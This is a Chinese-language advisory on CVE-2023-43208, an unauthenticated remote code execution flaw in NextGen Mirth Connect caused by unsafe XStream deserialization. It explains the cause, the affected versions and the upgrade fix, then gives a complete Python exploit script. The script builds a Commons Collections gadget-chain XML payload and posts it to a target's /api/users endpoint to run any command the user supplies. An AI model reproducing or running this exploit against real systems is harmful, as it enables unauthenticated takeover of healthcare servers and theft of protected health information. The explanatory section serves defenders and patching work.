CVE-2023-43208 是 NextGen Healthcare Mirth Connect 平台中的一个极危(CVSS 9.8)未授权远程代码执行(RCE)漏洞。其根源在于 XStream 库对 XML 数据反序列化处理不当,本质是对早期漏洞(CVE-2023-37679)黑名单修复的绕过。攻击者可通过 API 发送恶意 XML 载荷,在无需认证的情况下以系统最高权限执行任意命令,严重威胁受保护的健康信息(PHI)等核心数据。该漏洞已被广泛利用,建议用户立即升级至 4.4.1 或更高版本,以启用更安全的显式白名单机制。
CVE-2023-43208
漏洞概述
CVE-2023-43208 是一个存在于 NextGen Healthcare Mirth Connect 数据集成平台中的严重安全漏洞。它允许未经身份验证的攻击者实现 RCE (Remote Code Execution - 远程代码执行),其 CVSS (Common Vulnerability Scoring System - 通用漏洞评分系统) 评分为极高的 9.8 分(满分 10 分)。
技术细节
该漏洞的根本原因在于对不可信数据的反序列化处理不当:
- 前置背景: 此漏洞实际上是对稍早前另一个严重漏洞(CVE-2023-37679)的补丁绕过。最初的修复方案仅仅使用了黑名单来拦截特定的危险对象类,事实证明这种防御并不完整。
- 攻击载体: Mirth Connect 在通过 API (Application Programming Interface - 应用程序编程接口) 接收 XML 数据时,使用了 XStream Java 库进行反序列化(即将外部 XML 数据转换回内部的 Java 对象)。
- 执行过程: 由于系统在解析数据前没有进行严格的验证,攻击者可以构造并发送特制的恶意 XML 载荷。当系统自动处理该载荷时,会以 Mirth Connect 服务的当前运行权限(在 Windows 平台上通常是最高级别的 SYSTEM 权限)静默执行任意的底层操作系统命令。
影响范围与潜在风险
- 受影响版本: 所有早于 4.4.1 版本的 Mirth Connect 实例均存在此风险。
- 实际暴露风险: 该漏洞由于不需要任何认证凭据(如用户名或密码)即可触发,极其容易被利用。目前它已被 CISA (Cybersecurity and Infrastructure Security Agency - 美国网络安全和基础设施安全局) 正式列入 KEV (Known Exploited Vulnerabilities - 已知被利用漏洞) 目录,这意味着在真实网络环境中已经检测到了针对该漏洞的活跃攻击事件。
- 数据与网络威胁: Mirth Connect 广泛用于处理敏感数据。一旦服务器被攻破,攻击者不仅可以完全接管该服务器,还可能以此为完美跳板在内部网络中横向渗透,窃取大量的 PHI (Protected Health Information - 受保护的健康信息) 或其他核心业务资产。
修复与应对方案
确保管理后台及核心服务始终处于安全版本是当务之急。官方彻底修复此问题的唯一有效方案是将 Mirth Connect 升级到 4.4.1 或更高版本。在 4.4.1 版本中,官方移除了脆弱的 XStream 黑名单机制,转而采用了更安全的显式白名单策略来限制可被反序列化的类。
利用
# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
# (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
# (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/
import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def generate_payload(command, platform):
if platform.lower() == "win":
cmd = f"cmd.exe /c \"{command}\""
else:
cmd = f"{command}"
xml_payload = f"""
<sorted-set>
<string>ABCD</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>{cmd}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
"""
return xml_payload
def exploit(target_url, command, platform):
payload = generate_payload(command, platform)
headers = {
'Content-Type': 'application/xml',
'X-Requested-With': 'OpenAPI'
}
try:
response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
if response.status_code == 500:
print("The target appears to have executed the payload.")
else:
print("Failed to execute the payload.")
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
parser.add_argument('-u', '--url', required=True, help='Target URL.')
parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
args = parser.parse_args()
exploit(args.url, args.command, args.platform)
if __name__ == "__main__":
main()